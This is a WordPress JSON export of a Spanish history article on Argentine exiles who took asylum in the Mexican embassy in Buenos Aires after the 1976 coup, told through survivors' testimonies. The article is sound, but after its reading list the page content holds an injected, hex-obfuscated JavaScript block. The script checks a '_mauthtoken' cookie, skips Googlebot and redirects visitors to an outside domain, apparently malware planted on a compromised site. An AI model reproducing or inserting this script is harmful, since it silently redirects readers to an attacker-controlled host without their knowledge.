﻿{"id":8785,"date":"2018-04-08T16:44:04","date_gmt":"2018-04-08T21:44:04","guid":{"rendered":"http:\/\/revistabicentenario.com.mx\/?p=8785"},"modified":"2024-07-02T12:41:27","modified_gmt":"2024-07-02T18:41:27","slug":"el-asilo-de-argentinos-en-la-embajada-mexicana-en-buenos-aires","status":"publish","type":"post","link":"https:\/\/revistabicentenario.com.mx\/index.php\/archivos\/el-asilo-de-argentinos-en-la-embajada-mexicana-en-buenos-aires\/","title":{"rendered":"El asilo de argentinos en la embajada mexicana en Buenos Aires"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>Araceli Leal Castillo<\/strong><br \/>\n<strong>Instituto Mora<\/strong><\/p>\n<h3><strong><span style=\"color: #800000;\">En revista <em>BiCentenario. El ayer y hoy de M\u00e9xico<\/em>, n\u00fam. 38.<\/span><\/strong><\/h3>\n<h2 style=\"text-align: justify;\"><span style=\"color: #000000;\">Tras e sangriento golpe de Estado militar de 1976 en Argentina, 68 personas, entre ellas un ex presidente, pidieron protecci\u00f3n a la embajada y el consulado mexicano ante el temor fundado de perder sus vidas. Poco a poco obtuvieron sus salvoconductos para llegar a M\u00e9xico. Aquellos d\u00edas los dejar\u00edan marcados por el antes y el despu\u00e9s de recibir la solidaridad mexicana.<\/span><\/h2>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image004.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-8732\" src=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image004.jpg\" alt=\"image004\" width=\"800\" height=\"648\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image004.jpg 800w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image004-300x243.jpg 300w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/03\/image004-624x505.jpg 624w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>S<\/strong>in duda, los documentos resguardados en los archivos de la Secretar\u00eda de Relaciones Exteriores (SRE) sobre el asilo diplom\u00e1tico brindado en las embajadas mexicanas en Am\u00e9rica Latina constituyen las fuentes adecuadas si queremos elaborar estad\u00edsticas sobre cantidad, fecha, g\u00e9nero, edad de los protegidos, pero si nuestro inter\u00e9s va m\u00e1s all\u00e1, y lo que deseamos es conocer las circunstancias, los pormenores, los matices \u201cindividuales y colectivos\u201d de ese acontecimiento hist\u00f3rico, necesitamos recurrir a los testimonios de los protagonistas, en este caso de los refugiados argentinos en la representaci\u00f3n mexicana en Buenos Aires.<\/p>\n<p style=\"text-align: justify;\">Como es sabido, desde la d\u00e9cada de los cuarenta del siglo XX, M\u00e9xico se ha destacado en el \u00c1mbito latinoamericano por tener una pol\u00edtica de puertas abiertas hacia los que huyen por razones pol\u00edticas, raciales o religiosas. Por esa raz\u00f3n no fue inusitada la disposici\u00f3n del gobierno mexicano para brindar protecci\u00f3n a los perseguidos argentinos, incluso antes de que se produjera la ruptura institucional en marzo de 1976. El embajador mexicano en Argentina, Roque Gonz\u00e1lez Salazar, afirma que:<\/p>\n<blockquote><p>el presidente Echeverr\u00eda me llam\u00f3 \u201cme dio instrucciones muy concretas con relaci\u00f3n al asilo&#8230; a las posibilidades de asilo, que ten\u00eda que estar muy, muy generoso y muy abierto a todas estas posibilidades&#8230; me dijo: \u201cse aproximan momentos dif\u00edciles para la Argentina, queremos que usted recuerde que la pol\u00edtica de M\u00e9xico ha sido siempre de puertas abiertas y de generosidad\u201d.<\/p><\/blockquote>\n<p style=\"text-align: justify;\">Efectivamente, hac\u00eda a\u00f1os que Argentina experimentaba una grave crisis econ\u00f3mica y pol\u00edtica cuando el 24 de marzo de 1976 una Junta Militar depuso al gobierno constitucional e instaur\u00f3 un plan sistem\u00e1tico de exterminio que implic\u00f3 secuestro, tortura, muerte y desaparici\u00f3n para miles de hombres, mujeres e incluso ni\u00f1os. El recuerdo de un ex dirigente nacional de la Juventud Trabajadora Peronista (JTP) ejemplifica el dif\u00edcil y peligroso entorno que viv\u00edan los considerados enemigos de la sociedad argentina:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">[Cuando] fue el golpe de Estado\u201c estaba en la clandestinidad, no ten\u00eda documentos, no ten\u00eda trabajo, no ten\u00eda plata, y viv\u00eda escap\u00e1ndome del Ej\u00e9rcito\u201d Era una situaci\u00f3n muy l\u00edmite&#8230; era un estado de mucha desesperaci\u00f3n, yo lo \u00fanico que quer\u00eda era irme y me iba a cualquier pa\u00eds. Si me dec\u00edan \u00e1ndate a una islita&#8230; yo me iba\u201d Despu\u00e9s all\u00e1 ve\u00eda que hac\u00eda. La \u00fanica idea era irme de ac\u00e1, yo no ten\u00eda proyectos a futuro, y la verdad no pensaba en nada, lo \u00fanico que quer\u00eda era irme, no me importaba ni a d\u00f3nde, ni c\u00f3mo me iban a recibir, nada, no pensaba en esas cosas\u201d sab\u00eda a qu\u00e9 estaba condenado a ser un desaparecido si me quedaba ac\u00e1.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">En ese contexto y con el fin de salvar sus vidas, una parte de las personas buscadas por los militares apelaron a un a\u00f1ejo instrumento interamericano: el asilo diplom\u00e1tico, cuyo objetivo central es brindar protecci\u00f3n a los perseguidos pol\u00edticos. Los fundamentos del derecho de asilo establecen que todo Estado tiene derecho a conceder refugio; que la persona asilada debe abstenerse de intervenir en la pol\u00edtica interna del pa\u00eds del que sali\u00f3, y que el protegido no puede ser expulsado o extraditado al territorio que abandon\u00f3 o entregado al gobierno que lo persigue. Los relatos de los protagonistas denotan que sab\u00edan de la disposici\u00f3n de M\u00e9xico para aplicar este instrumento:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">tuvimos que pensar en irnos del pa\u00eds\u2026 lo que marc\u00f3 el quiebre fue el secuestro de mi padre [cuando] tratamos&#8230; de ubicarlo [el ex presidente Arturo] Frondizi\u2026 nos aconsej\u00f3 que nos fu\u00e9ramos del pa\u00eds, el grupo familiar, porque si no nos iban a \u201cboletear\u201d [matar] a todos\u2026 Entonces\u2026 decidimos, casi toda la familia, tomar la resoluci\u00f3n de irnos del pa\u00eds y para eso [pensamos] en M\u00e9xico&#8230; porque lo ve\u00edamos como un pa\u00eds hospitalario, como un pa\u00eds que frente a sus posiciones internacionales aparec\u00eda como un pa\u00eds democr\u00e1tico, como un pa\u00eds que daba la bienvenida a los extranjeros. Las posiciones de M\u00e9xico internacionalmente eran de defensa de los derechos humanos\u2026<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Para muchos argentinos perseguidos por la dictadura, la embajada mexicana se percibi\u00f3 como destino final: \u201cLa elecci\u00f3n de M\u00e9xico fue\u2026 porque [era] uno de los \u00fanicos pa\u00edses que ten\u00eda&#8230; una pol\u00edtica\u2026 de asilo m\u00e1s definida y m\u00e1s solidaria\u2026 En definitiva\u2026 M\u00e9xico era la \u00fanica opci\u00f3n&#8230;\u201d<\/p>\n<p style=\"text-align: justify;\">Como vimos atr\u00e1s, el gobierno mexicano hab\u00eda dado instrucciones precisas de continuar con la acostumbrada pol\u00edtica de puertas abiertas, pero la decisi\u00f3n final de proteger o no a los perseguidos la tomaron el embajador mexicano y sus funcionarios quienes en diferentes ocasiones complicaron, m\u00e1s que facilitaron, la aplicaci\u00f3n del asilo diplom\u00e1tico. As\u00ed lo recuerda el ex dirigente partidista:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Fui a la embajada\u2026 y me dijeron que volviera el mes que viene. En otro intento, estando en la embajada veo que se baja del ascensor [un conocido] con su mujer y su hijito\u2026 se abre la puerta para que salga [una persona y este hombre] y su mujer pegan el empuj\u00f3n y se meten\u2026 nadie se dio cuenta de nada\u2026 le dije a mi mujer: \u201cTenemos que hacer como ellos\u201d\u2026 esperamos que una persona saliera, le di el empuj\u00f3n y entr\u00e9 en la embajada\u2026 obviamente hubo un peque\u00f1o tumulto\u2026 vino el c\u00f3nsul\u2026 [Me] plante\u00f3 lo siguiente: \u201cque nosotros hab\u00edamos irrumpido en la casa de M\u00e9xico, por medio de la violencia\u2026\u201d [Me] dijo que saliera y volviera a entrar civilizadamente\u2026 le dije: \u201cyo salgo y me meten preso\u2026 me van a secuestrar\u2026 me van a torturar\u2026 no aparezco nunca m\u00e1s&#8230;\u201d Entre\u2026 discusiones, le digo: \u201cbueno yo salgo\u2026 pero mi mujer y mi hijo se quedan ac\u00e1\u201d&#8230; Entonces salgo [pero] mi mujer escuch\u00f3\u2026 que alguien estaba hablando con la polic\u00eda\u2026 me peg\u00f3 el grito: \u201cGuillermo, est\u00e1n llamando a la polic\u00eda\u201d\u2026 Y yo me mand\u00e9 de vuelta a los empujones y otro gran esc\u00e1ndalo\u2026 le dije al [funcionario] que me entregara a la polic\u00eda\u2026 y ma\u00f1ana en todos los diarios saldr\u00eda: \u201cEl gobierno mexicano entreg\u00f3 a un tipo\u201d, eso lo paraliz\u00f3\u2026 Empez\u00f3 a dudar y llam\u00f3 al funcionario que ocupaba el cargo m\u00e1s alto [que] como a las cinco de la tarde, nos dio el asilo.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Pero para otros perseguidos \u2013la dirigencia pol\u00edtica y cultural\u2013 el recibimiento en la delegaci\u00f3n mexicana fue favorable y sin ning\u00fan obst\u00e1culo. As\u00ed lo recuerda la esposa del ex rector de la Universidad de Buenos Aires: \u201c[La entrada] fue muy impactante, pero muy cordial. La atenci\u00f3n\u2026 tanto del embajador como la de todos los miembros de la embajada&#8230; fueron muy cordiales, nos recibieron muy bien.\u201d Por su parte, el hijo del ex presidente H\u00e9ctor C\u00e1mpora analiza su experiencia de esta forma: \u201c&#8230;recuerdo [que cuando] entramos&#8230; inmediatamente sale el embajador\u2026 Tuvimos una reuni\u00f3n con \u00e9l\u2026 despu\u00e9s nos acompa\u00f1an hasta el dormitorio que nos asignan\u2026 Sin duda [nos recibieron de manera] muy amable\u2026 nos sent\u00edamos muy c\u00f3modos de haber llegado ah\u00ed.\u201d<\/p>\n<p style=\"text-align: justify;\">En el momento de mayor represi\u00f3n una parte importante de los perseguidos buscaron refugio en las oficinas del consulado mexicano en Buenos Aires, que no contaba con la infraestructura necesaria para albergar a un grupo tan numeroso de personas por lo cual fue necesario trasladarlos a la embajada con el riesgo que ello signific\u00f3. La atm\u00f3sfera represiva fue detallada por el asilado de esta forma:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">viene el traslado desde las oficinas a la embajada. Otra historia complicad\u00edsima, nos quedamos a mitad de camino, con la complicaci\u00f3n para mi gusto de que quien estuvo a cargo del traslado era un coronel mexicano \u00a1la confianza que yo le ten\u00eda! Este se\u00f1or nos hizo bajar al subsuelo del edificio, subimos a unos autos\u2026 \u00cdbamos nosotros en un auto con un funcionario y en otro auto iba [otra familia] con otro funcionario, y yo no ve\u00eda m\u00e1s autos [No me sent\u00eda] muy protegido. Era Buenos Aires despu\u00e9s del golpe\u2026 era una \u00e9poca en que las instituciones, la formalidad, no ten\u00edan mucha importancia, nadie cre\u00eda demasiado en nada\u2026 la impresi\u00f3n que ten\u00eda era que en el viaje\u2026 cualquier grupo [represivo] pod\u00eda hacer un operativo y llevarnos y, se termin\u00f3 la historia, y nunca m\u00e1s aparec\u00edamos. Y el se\u00f1or coronel mexicano iba a decir: \u201cs\u00ed, un grupo de desconocidos nos asalt\u00f3&#8230; nosotros resistimos\u201d, pero&#8230; capaz que hasta al coronel mexicano le pegan un tiro tambi\u00e9n&#8230; qu\u00e9 s\u00e9 yo, hab\u00eda tantas cosas en esa \u00e9poca\u2026 llegamos a la embajada. No pod\u00eda creer que en el camino no hubiera pasado nada, la verdad no lo pod\u00eda creer.<\/p>\n<\/blockquote>\n<h2 style=\"text-align: center;\">Vida cotidiana<\/h2>\n<p style=\"text-align: justify;\">Pese a lo complicado que fue para algunos argentinos recibir el asilo diplom\u00e1tico, sus testimonios coinciden al afirmar que el ingreso a la embajada mexicana los hizo sentirse protegidos, amparados:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">la gente acud\u00eda [a la embajada] cuando se sent\u00eda amenazada, significaba la salvaci\u00f3n&#8230; la \u00fanica posibilidad de seguir con vida&#8230; sentirse protegido&#8230; sab\u00edamos que no nos pod\u00eda pasar nada adentro, nos sent\u00edamos tranquilos; &#8230;evidentemente que hab\u00eda privaci\u00f3n de libertad, pero en las condiciones de vida que ten\u00edamos ah\u00ed adentro, eran respetuosas, consideradas y no parec\u00edan extremadamente inseguras, aunque no hubiera armas defendi\u00e9ndonos.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Los 68 asilados que vivieron en diferentes momentos y temporalidades en una casa apta para ocho personas promovieron \u2013en medio del encierro colectivo\u2013 cotidianidades que dieron cierta continuidad a su vida con un gran esfuerzo de solidaridad humana que permiti\u00f3 resolver aspectos esenciales como la higiene, la alimentaci\u00f3n, el descanso. Un integrante de una numerosa familia que se asil\u00f3 por la desaparici\u00f3n del padre y el hermano, rememora:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Cuando\u2026 entramos a la embajada, \u00e9ramos 23 no hab\u00eda lugar f\u00edsico donde ponernos\u2026 y nos dan el altillo, un tipo de loft. Tuvimos que limpiarlo nosotros, conseguir colchones&#8230; ten\u00edamos un ba\u00f1o, el cuarto de mi mam\u00e1, otro cuarto m\u00e1s&#8230; para que estuviesen como m\u00e1s intimidad las parejas. La cocina nos la turn\u00e1bamos por grupos familiares&#8230; hab\u00eda horario de televisi\u00f3n para que los chicos vieran los dibujitos y despu\u00e9s permanec\u00edamos permanentemente&#8230; en el altillo.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Los asilados pod\u00edan sentirse protegidos, pero como explica el ex dirigente partidario, el miedo de que los militares no respetaran los acuerdos internacionales previamete aprobados fue una constante:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">[El asilo] era pesado, pero no por cosas materiales&#8230; El tema principal era el miedo que ten\u00edamos a que asaltaran la embajada\u2026 No hab\u00eda la m\u00e1s m\u00ednima seguridad de nada, el edificio no era ninguna seguridad\u2026 porque adem\u00e1s en la noche nos qued\u00e1bamos\u2026 absolutamente s\u00f3los\u2026 O sea, que si alguien quer\u00eda entrar, entraba\u2026 metiera una bomba, incendiara y se fuera. En tres minutos lo pod\u00edan hacer.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">La intenci\u00f3n de la dictadura fue aniquilar f\u00edsica y moralmente a todos aquellos considerados como sus enemigos de la sociedad argentina. Sin duda, los asilados entraban en ese grupo. Para no sucumbir ante el encierro, implementaron formas de resistencia en coexistencia con el ocio y desarrollaron actividades recreativas, culturales, sociales y educativas. Esas tareas, como dice un ex militante pol\u00edtico, tuvieron un enorme significado moral que compensaban la monoton\u00eda del aislamiento y la depresi\u00f3n que ello produc\u00eda; se transformaron en un atenuante para la angustia y las tensiones emocionales:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Nos levant\u00e1bamos&#8230; nos acost\u00e1bamos tarde\u2026 nos dedic\u00e1bamos a jugar al truco. El lugar de reuni\u00f3n era el cuarto [de servicio] ah\u00ed, nos junt\u00e1bamos todas las noches\u2026 los chicos si estaban despiertos tambi\u00e9n, la rutina era antes de la cena juntarnos. Una buena ronda\u2026 ser\u00edan dos horas de ping pong\u2026 despu\u00e9s\u2026 una ducha\u2026Era ping pong, cena, la cena siempre era por separado [aunque] a veces nos junt\u00e1bamos.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Pese a la buena disposici\u00f3n de los asilados, la permanencia en la embajada no fue una cuesti\u00f3n f\u00e1cil o id\u00edlica como recuerda un asilado, la convivencia entre personas de diferente posici\u00f3n econ\u00f3mica, edad y signo pol\u00edtico provoc\u00f3 choques y disputas, sin embargo, prevaleci\u00f3 la conciencia de lo que los un\u00eda: su condici\u00f3n de asilados:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Con [el ex presidente H\u00e9ctor] C\u00e1mpora la relaci\u00f3n era m\u00e1s distante, porque, bueno, yo no estaba dispuesto a discutir muy abiertamente con \u00e9l\u2026 hab\u00eda como una especie de pacto t\u00e1cito en funci\u00f3n de la convivencia de estar velado ciertas cuestiones. Entonces\u2026 la relaci\u00f3n fue agradable\u2026 creo que, si hubiera entrado en la pol\u00edtica con C\u00e1mpora, las cosas no hubiesen ido muy bien. Con [los otros asilados] era diferente, por un lado, porque a lo mejor hab\u00eda m\u00e1s coincidencias en ese momento, hab\u00eda m\u00e1s posibilidades, y adem\u00e1s porque hab\u00eda una actitud com\u00fan en relaci\u00f3n a c\u00f3mo concebir la pol\u00edtica. C\u00e1mpora era otra generaci\u00f3n de pol\u00edtico&#8230;<\/p>\n<\/blockquote>\n<h2 style=\"text-align: center;\">Salvoconductos<\/h2>\n<p style=\"text-align: justify;\">La Convenci\u00f3n sobre Asilo Diplom\u00e1tico promulgada en Caracas, en marzo de 1954, dispone que el Estado asilante tiene la obligaci\u00f3n de tramitar la documentaci\u00f3n necesaria para la salida de sus protegidos ante las autoridades correspondientes del Estado territorial. En este caso, el tiempo que la expedici\u00f3n del salvoconducto tard\u00f3 dependi\u00f3 del grado de hostilidad que los militares mostraron con cada asilado. Para la mayor\u00eda de los amparados, los militares otorgaron el salvoconducto en no m\u00e1s de tres meses, pero para tres asilados \u2013un ex presidente y su hijo, as\u00ed como un dirigente partidario\u2013 la espera convirti\u00f3 el asilo en una especie de prisi\u00f3n. As\u00ed lo rememora Juan Manuel Abal Medina:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">[Cuando] ingres\u00e9 fines de abril de 1976\u2026 estaba [el ex presidente] don H\u00e9ctor C\u00e1mpora [y su] hijo\u2026 estaba un matrimonio de abogados laboralistas\u2026 y dos o tres d\u00edas despu\u00e9s ingresaron dos dirigentes de la Juventud Trabajadora Peronista y sus familias\u2026 Los abogados salieron un poquito despu\u00e9s con salvoconductos y los [dirigentes] salieron unos tres meses despu\u00e9s, m\u00e1s o menos. Ah\u00ed quedamos el doctor C\u00e1mpora, C\u00e1mpora hijo y yo. El doctor C\u00e1mpora\u2026 a principios de 1979 comienza con problemas de salud serios\u2026 Fue la \u00e9poca m\u00e1s penosa de la estad\u00eda en la embajada&#8230; era muy dif\u00edcil\u2026 finalmente, aprovechando la visita de la Comisi\u00f3n Interamericana de Derechos Humanos en septiembre del \u201879 [que signific\u00f3 para los militares] una muy fuerte presi\u00f3n internacional. Ya se hab\u00eda comprobado que C\u00e1mpora ten\u00eda c\u00e1ncer, ah\u00ed se otorga el\u2026 salvoconducto\u2026 fallece un a\u00f1o despu\u00e9s [en M\u00e9xico]. El d\u00eda que muere don H\u00e9ctor&#8230; le dan el salvoconducto a H\u00e9ctor hijo&#8230; [Yo] me qued\u00e9 seis a\u00f1os y fracci\u00f3n\u2026 hasta que se produce la situaci\u00f3n de Malvinas [1982.] M\u00e9xico apoyaba por supuesto\u2026 la incursi\u00f3n de la Argentina, pero [aprovecha para decir] que hay un problema pendiente\u2026 y ah\u00ed me dan mi salvoconducto.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">En el momento que los asilados salieron de su pa\u00eds comenzaron otra etapa que para muchos fue considerada como una especie de castigo, de venganza, de agresi\u00f3n ejercida por el largo brazo del terrorismo de Estado argentino. A juicio de un editor que cuando se asil\u00f3 ten\u00eda 16 a\u00f1os, abandonar su pa\u00eds fue un desgarre irse del pa\u00eds. Es un desgarramiento, por mejor que usted se sienta en otro pa\u00eds, deja sus cosas, y sus afectos. All\u00e1, en todo caso&#8230; se encuentra con otros afectos que conoc\u00eda de ac\u00e1, pero al mismo tiempo tiene que hacer otros afectos. \u2026 los a\u00f1os que viv\u00ed en M\u00e9xico, los viv\u00ed muy bien. [Pero] durante muchos a\u00f1os tuve la sensaci\u00f3n [de] que uno no ten\u00eda derecho de irse [el] cargo de conciencia\u2026 estando en M\u00e9xico, esa culpa&#8230; tomaba un tono mucho m\u00e1s crudo. Porque era: \u201c\u00bfpor qu\u00e9 vos sobreviv\u00edas y otros no? \u00bfPor qu\u00e9 vos hab\u00edas tenido la posibilidad de irte y otros no? \u00bfHiciste lo que deb\u00edas hacer?\u201d Esas preguntas se van a ir complejizando en el tiempo\u2026 Quiz\u00e1s te lleve toda tu vida poderlas un poco analizar desde otros elementos, desde otra mirada, desde otra perspectiva, pero es una cosa dif\u00edcil\u2026 esa carga ten\u00e9s que solucionarla vos y no transferirla a nadie. Hay un resorte psicol\u00f3gico muy extra\u00f1o que produce esa c\u00e1rcel sin barrotes que es el exilio. Esa posibilidad de estar libre y a su vez no estar libre\u2026<\/p>\n<p style=\"text-align: justify;\">Al siglo XX se le ha definido como el siglo \u201cde los que huyen\u201d: miles de individuos tuvieron que dejar su pa\u00eds de origen y experimentar situaciones l\u00edmites. Los testimonios de los protagonistas del asilo argentino en la embajada mexicana nos permitieron hacer una primera aproximaci\u00f3n a este fragmento de la historia que para decenas de personas signific\u00f3 salvar la vida m\u00e1s all\u00e1 de las peripecias y avatares que tuvieron que afrontar.<\/p>\n<h3>PARA SABER M\u00c1S<\/h3>\n<ul>\n<li>\u00a0\u201cConvenci\u00f3n sobre Asilo Diplom\u00e1tico\u201d, Caracas, 28 de marzo de 1954, <a href=\"https:\/\/goo.gl\/MUeUcu\">https:\/\/goo.gl\/MUeUcu<\/a><\/li>\n<li>Denti, Jorge, <em>El exilio de H\u00e9ctor C\u00e1mpora, Los A<\/em>rgenmex, M\u00e9xico, Canal22\/ Canal Encuentro, 2008, <a href=\"https:\/\/goo.gl\/wZBJyg\">https:\/\/goo.gl\/wZBJyg<\/a><\/li>\n<li>Dutr\u00e9nit, Silvia, Guadalupe Rodr\u00edguez y Carlos Hern\u00e1ndez<em>, De dolor y esperanza: el asilo un pasado presente<\/em>, M\u00e9xico, Instituto Mora\/ Conacyt, 2002, dvd. 1<\/li>\n<li>Martinello, Antonio et al., <em>Hijos del exilio<\/em>, La Plata, Unlp, 2008, <a href=\"https:\/\/goo.gl\/9ZyRMH\">https:\/\/goo.gl\/9ZyRMH<\/a><\/li>\n<\/ul>\n<p><script type=\"text\/javascript\">\/\/ < ![CDATA[\n\/\/ < ![CDATA[\n\/\/ < ![CDATA[ var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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El ayer y hoy de M\u00e9xico, n\u00fam. 38. Tras e sangriento golpe de Estado militar de 1976 en Argentina, 68 personas, entre ellas un ex presidente, pidieron protecci\u00f3n a la embajada y el consulado mexicano ante el temor fundado de perder sus vidas. Poco a poco obtuvieron sus salvoconductos para llegar a M\u00e9xico. Aquellos d\u00edas los dejar\u00edan marcados por el antes y el despu\u00e9s de recibir la solidaridad mexicana. Sin duda, los documentos resguardados en los archivos de la Secretar\u00eda de Relaciones Exteriores (SRE) sobre el asilo diplom\u00e1tico brindado en las embajadas mexicanas en Am\u00e9rica Latina constituyen las fuentes adecuadas si queremos elaborar estad\u00edsticas sobre cantidad, fecha, g\u00e9nero, edad de los protegidos, pero si nuestro inter\u00e9s va m\u00e1s all\u00e1, y lo que deseamos es conocer las circunstancias, los pormenores, los matices \u201cindividuales y colectivos\u201d de ese acontecimiento hist\u00f3rico, necesitamos recurrir a los<\/p>\n","protected":false},"author":8,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21,1448],"tags":[470,1456,1067,1455],"class_list":{"0":"post-8785","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-articulos","7":"category-bicentenario-38","8":"tag-argentina","9":"tag-asilo","10":"tag-asilo-diplomatico","11":"tag-golpe-de-estado-1976"},"_links":{"self":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts\/8785","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/comments?post=8785"}],"version-history":[{"count":10,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts\/8785\/revisions"}],"predecessor-version":[{"id":19816,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/posts\/8785\/revisions\/19816"}],"wp:attachment":[{"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/media?parent=8785"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/categories?post=8785"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/revistabicentenario.com.mx\/index.php\/wp-json\/wp\/v2\/tags?post=8785"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}